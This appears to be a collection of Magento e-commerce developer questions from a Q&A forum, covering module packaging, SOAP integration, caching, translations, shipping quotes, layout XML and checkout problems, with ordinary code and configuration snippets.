    $connection->query('SELECT 1 FROM ' . $tableName . ' LIMIT 1');
    $exists = true;
} catch (\Exception $e) {
    $exists = false;
}
if ($exists) {
  ..

I can't say that this is the best way to do it but I got very good results. There are other SQL queries to check if a table exists.
3 of the call isTableExists were impacting frontend experience. And 2 of them were making admin product save very slow.

Update:

It's a server issue / webstack configuration. It has something to do with the storage for MySql data.


texts: What are `Recurrent products` and `nominal products`?

texts:
Are there any products as recurrent products and nominal products apart from the default 6 types of products ? If so can anyone provide a brief explanation about them ?
Any suggestions will be appreciated.

Thanks in advanced.


texts: Magento 2: How to use Admin Elements / Widget?

texts:
How can I use Admin/Elements/Widgets that I create?
They don't appear in the wysiwyg editor / add widget.

I thought I could use them in Static Blocks..?


texts: magento 2 How to create package of your custom module?

texts:
I reviewed the suggestion here
How to Create Extension Package in Magento 2?
but I am still getting issue:-
The "composer.json" file has incorrect JSON; please verify the archive.
my composer.json is as below

{
  "name": "Vendorname/Modulename",
  "description": "Magento 2 Qrcode Generator",
  "require": {
    "php": "~5.5.0|~5.6.0|~7.0.0",
  },
  "type": "magento2-module",
  "version": "1.0.1",
  "license": [
    "OSL-3.0",
  ],
  "authors": [
    {
      "name": "w3solver",
      "email": "query@w3solver.com",
      "homepage": "https://www.w3solver.com",
      "role": "developer"
    }
  ],
  "autoload": {
    "files": [
      "registration.php"
    ],
    "psr-4": {
      "Vendorname\\Modulename\\": ""
    }
  }
}

I zipped my folder by name vendorname_modulename-1.0.1, my version is 1.0.1 in module.xml. I created zipped from 'modulename'

I am not getting what is wrong with my composer.json


texts: How to store an array in Cache in Magento 2

texts: I have loaded product attributes and manipulated its values as per my requirement. Now I want to save this array in Magento 2 Cache so that next time I don't have to create it again. What are the best practises to do the same.


texts: Problems calling Magento SOAP V2 Service in C#

texts:
I'm hosting a Magento webshop on my local machine using IIS 7.5 and PHP 5.6 (testing). The shop is working just fine, but now I want to create a separate application using visual studio 2013. These are the steps that I've taken:

I've added the domain name "www.domain.com.local" to my hosts file directing to my localhost (www.domain.com.local -> 127.0.0.1)
I've created a new website on my IIS and added a new binding (www.domain.com.local - see 1)
I've added WinCache extension with the PHP Manager and set the PHP version to 5.6
Enable WS-I Compliance in the magento backend (System > Configuration > Magento Core Api)
Create a SOAP Role and User (Resource Access = All)
Open visual studio 2013 and create a new Console Application
Adding a new Service Reference (http://www.domain.com.local/index.php/api/v2_soap/?wsdl)
Trying to login - This is not working like it should be

Here is my piece of code:

class Program
{
    static void Main(string[] args)
    {
        MainAsync(args).Wait();
    }

    static async Task MainAsync(string[] args)
    {

        using (var proxy = new Mage_Api_Model_Server_Wsi_HandlerPortTypeClient())
        {

            try
            {
                var loginResponse = await proxy.loginAsync("soap-admin", "xxxxxxxxx"); // api key
                var sessionId = loginResponse.result;

            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }

            Console.ReadLine();

        }
    }
}

And this is the error I'm getting:

The content type text/xml; charset=utf-8,text/xml; charset=utf-8 of the response message does not match the content type of the binding (text/xml; charset=utf-8). If using a custom encoder, be sure that the IsContentTypeSupported method is implemented properly. The first 297 bytes of the response were: '<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="urn:Magento">
<SOAP-ENV:Body>
<ns1:loginResponseParam>
<result>13fa067676759c3ce8ddd61c386b6d5c</result>
</ns1:loginResponseParam>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
'.

So as you can see, I'm getting my sessionId but keep getting this error. I've also used fiddler to investigate and getting a correct response: HTTP 200 OK. Does someone knows what the problem could be? Is it IIS related? localhost related?

(When I add the URL as web reference it works just fine - old web-service method).

Related topics I've read and tried (without success):

https://stackoverflow.com/questions/7996931/c-sharp-soap-error-in-deserializing-body-of-reply-message-magento-api?rq=1
https://stackoverflow.com/questions/20591862/cmagento-api-v2the-content-type-text-xml-charset-utf-8-text-xml-charset-utf?rq=1


texts:
Recently encountered the weirdest bug i have ever seen. Here's a screenshot.

I have tried to clearing cache, removing static files, redeploying static files, disabling language pack module, truncating translation database table and so on nothing helps. I am stuck right now for weeks and can't figure out what is the problem.

So i managed to found the issue. Something is wrong with Mageplaza language pack. When i renamed the csv file so it could not recognize it removed static files it started working. But still have an issue with other translations like i'm trying to create my own csv file and adding strings like this still nothing works the notification remains the same. Any one had this problem?
"You added %1 to your shopping cart.","You added %1 to your shopping cart.",module,Magento_Checkout
"You added %1 to your shopping cart.","%1 įkelta į krepšelį.",module,Magento_AdvancedCheckout
"You added %1 to your shopping cart.","You added %1 to your shopping cart.",module,Magento_AdvancedCheckout


texts: Creating slider or carousel for bundle product in magento?

texts:
I want to create a bundle products for my estore but the bundle product has more than 50 products

So i want to add carousel or slider to these product. I tried adding some sliders but it is not working??

Please suggest me with some ideas.


texts: "Create Order" shipping issue in Magento 1.9.2 - No quotes available for some (not all) customers

texts:
I have a site we imported 12,000 customers to (via the dataflow IIRC) and they're employing a company to create orders from the Admin - they've reported an issue where they can't select a shipping option before putting it through.

Steps to recreate:

Go to Orders > Create Order and select an imported customer
Add the product and select "Get Delivery Methods And Rates"
After a second, the message is replaced with
"Sorry, no quotes are available for this order at this time."

I should mention that I do use WebShopApps Product Matrix.

Now I know what you're thinking: "he has the shipping set up incorrectly!!". I ensure you that they're all fine as it works with customers that were created and not imported.

Here's the odd part (and the reason I'm posting this message).

If I:

Find the problem customer in the CMS
Click "Save"
Retry the above steps

It then lets me select shipping!

I've compared troublesome customers with updated customers (as I thought maybe there was an issue with assigning customers to no store) but I couldn't see anything untoward.

So I'm wondering if:

a) There's a way of batch "saving" customers so it fixes whatever link that's bridged when I resave the customer. We tried batch re-assigning all customers to the "General" group but that didn't seem to work (and timed out)

b) Adjusting something so it doesn't bring up that dastardly Quotes message.

Your help would be most appreciated :)


texts: Is it okay to modify validation.js directly?

texts: Is it okay to modify lib/web/mage/validation.js directly? If not, how do I override it? There's a bug there I want to fix. Thank you.


texts:
Because I had a lot of issues lately with free and commercial extension I've decided to ask this question and answer it with the steps I usually follow when writing an extension. Feel free to edit the answer or add a new one.
In most of the cases when installing an extension or a theme I have to spend a few hours (sometimes more, sometimes less) to make it work on all the environments I need:

dev: usually localhost where the project is in a subfolder
preprod & live

This has happened even with extensions from large extension providers (that should remain nameless at least until I get really really mad and add their names in here)
So the main question is..what steps should I consider when writing an extension to ensure the quality of the code and make it easier for a technical and non-technical person to use it and for a technical person to change it?


texts: Renaming Cash On Delivery If Order Is Created In Admin Or Through Plugin

texts:
Can we programmatically change the Cash On Delivery label like when an Order was created from the admin side or from a plugin I created (programmatically)?

I am creating a plugin that imports orders from another store.  The payment are handled by that store so when I import the orders and save them as Magento Orders, I want to specify Cash On Delivery but would like to append the store name to it like "Rahaha Cash On Delivery" instead of showing up as only Cash On Delivery.


texts: Is there a way to load an external CSS file in local.xml?

texts: I found out on Google CDN jQuery with Local Fallback in Magento Layout XML from @philwinkle answer that an external js can be loaded to the "head" via local.xml.  Is there also a way to load an external css file via Magento's local.xml so that edits to head.phtml can be avoided?


texts: How to translate core Magento modules and create a CSV translation file per module?

texts:
I want to translate all core modules in Magento 2 without touching the vendor folder and without translating all modules in one CSV file as suggested in this answer

I want to  translate each single module in one related CSV file, like:

app/code/magento/<modulename>/i18n/lg_LG.csv


texts: Some of Product name is not showing on front-end anonymously

texts: Products are not newly added it's not showing on listing page only . product page it's shown. it's working fine (e.g product listing page) everywhere except product tab


texts: How set default address for customers via SQL

texts:
How can I configure the default address in magento via SQL.

I have over 7000 users, however some of them are not defined.

Each client has ~2 registered address, I would like that the two addresses were marked one as the default billing and another shipping.

Via SQL there is some command?

The default could be the first one found, or the first encountered.

http://i.imgur.com/aV6onTe.jpg


texts:
I Checked my site in the gtmetrix and i got one of the following suggestion

  Make fewer HTTP requests

  This page has 55 external Javascript scripts. Try combining them into one.

How can i solve this.I had google lot but still not got success.

What i have tried it Defer Javascript Parsing.ie loading the javascript after page completed loading. still no use


texts:
Our theme's menu structure was designed to allow for dropdowns, but a former programmer turned it off.  We are having a hard time finding where this occurred.

newvape.com

An odd thing happens when you use the device inspector in Chrome, as the picture below shows that just before it kicks to the mobile menu, the dropdown suddenly appears. Between 980px wide and 1200px wide in the device inspector the menu gets bonkers.  Its all busted still, but the dropdown suddenly appears there at a certain screen size...

Edit: I think I've found the source:

So clearly the list element is set to not display...but sadly this isn't in the CSS:

As element.style has no css location, its hardcoded into the source.  I just don't know what file?

Can anyone advise?

EDIT  CSS the menu is using doesn't indicate its causing this.

    @media only screen and (min-width: 980px) and (max-width: 1199px) {
      .sf-menu {margin: 0 -20px;}
    }
    @media only screen and (min-width: 979px) {
        #menu-icon,
        .sf-menu-phone {  display: none !important;}
    }

    @media only screen and (max-width: 979px) {
      .sf-menu,
      .sf-menu-phone {display: none;}
      /* menu icon */
      #menu-icon {
        display: block;
        background: url("../images/nav-bg.jpg") repeat-x scroll 0 0 transparent;
        font-size: 18px;
        font-weight: bold;
        line-height: 21px;
        color: #fff;
        cursor: pointer;
        text-transform: uppercase;
        padding: 20px 0 0 20px;
        height: 47px;
        position: relative;
        z-index: 2;
      }


texts: Move "Sign In" link from top bar to header container in magento2

texts:
I want to move the sign in link inside the header container after the minicart.

Please refer the image below.

As you can see in the image i have pointed it out where it should go.

Now, Some brief information about what i have done.

I have removed the header-wrapper by placing below code in default.xml

<referenceBlock name="header-wrapper" remove="true" />

Then, i have added a custom block where i have created my own custom header like shown in the image, by placing below code in default.xml

<referenceContainer name="header.container">
<block class="Magento\Framework\View\Element\Template" name="custom-header" as="custom-header" template="Magento_Theme::html/customheader.phtml"  after="header.panel.wrapper" />
</referenceContainer>

Then, i moved all elements into by own custom block by placing below code in default.xml

<move element="minicart" destination="custom-header"/>
<move element="top.search" destination="custom-header"/>
<move element="logo" as="logo" destination="custom-header"/>

  Now the problem, and things i have tried to solve this.

I want to move sign in link to my own custom-header block. To do this i have tried below things.

By placing below code in default.xml

<move element="authorization.link" destination="custom-header"/>
<move element="authorization-link-login" destination="custom-header" />

Also by placing this code in default.xml

<referenceContainer name="custom-header">
  <container name="sign-in-div" htmlTag="div" htmlClass="signin-wrap" after="logo">
    <block class="Magento\Customer\Block\Account\AuthorizationLink" name="authorization-link-login" template="Magento_Theme::account/link/authorization.phtml" />
  </container>
</referenceContainer>

Please suggest what i am doing wrong here.

Any help would be deeply appreciated.


texts: continue button doesn't work in checkout page

texts:
My Website :http://www.hbherb.com/ and I can't able to move into the next step in the checkout, I have tried all the solution, none of them work, please help me.

Thanks


texts: In my local host magento 2 running very fast but due to some reason i delete some files and module and then its speed becomes very poor and it takes approx 3 or 4 minutes loading its home page.


texts: Overwriting UI elements in Module with requirejs-config.js

texts:
I'm trying to overwrite the necessary UI elements in my module. I for the input fields I need to have the label behind the input.

Now I know how to overwrite these in my theme but I would like to add them to my module to make it easier to install for future projects.

I know that this should be done with the requirejs-config.js but i'm unsure how.

var config = {
config: {
    mixins: {
        'Magento_Checkout/js/view/shipping': {
            'BB_Checkout/js/mixin/shipping-mixin': true
        }
    }
},
map: {
    '*': {
        'Magento_Ui/view/frontend/web/templates/form/element/input.html': 'BB_Checkout/view/frontend/web/templates/form/element/input.html',
        'Magento_Ui/view/frontend/web/templates/form/element/email.html': 'BB_Checkout/view/frontend/web/templates/form/element/email.html',
        'Magento_Ui/view/frontend/web/templates/form/element/password.html': 'BB_Checkout/view/frontend/web/templates/form/element/password.html',
        'Magento_Ui/view/frontend/web/templates/form/field.html': 'BB_Checkout/view/frontend/web/templates/form/field.html'
    }
}
 };

I currently got this but the part from map: doesn't work. Any idea how I would get this to work? I tried cache cleaning already.

Thanks in advance.

UPDATE

I also tried this but that doesn't work either. Also tried cleaning browser cache.

 map: {
    '*': {
        'Magento_Ui/templates/form/element/input.html': 'BB_Checkout/templates/form/element/input.html',
        'Magento_Ui/templates/form/element/email.html': 'BB_Checkout/templates/form/element/email.html',
        'Magento_Ui/templates/form/element/password.html': 'BB_Checkout/templates/form/element/password.html',
        'Magento_Ui/templates/form/field.html': '/BB_Checkout/templates/form/field.html'
    }
}

I also tried:

 map: {
    '*': {
        'Magento_Ui/templates/form/element/input.html': 'templates/form/element/input.html',
        'Magento_Ui/templates/form/element/email.html': 'templates/form/element/email.html',
        'Magento_Ui/templates/form/element/password.html': 'templates/form/element/password.html',
        'Magento_Ui/templates/form/field.html': 'templates/form/field.html'
    }
}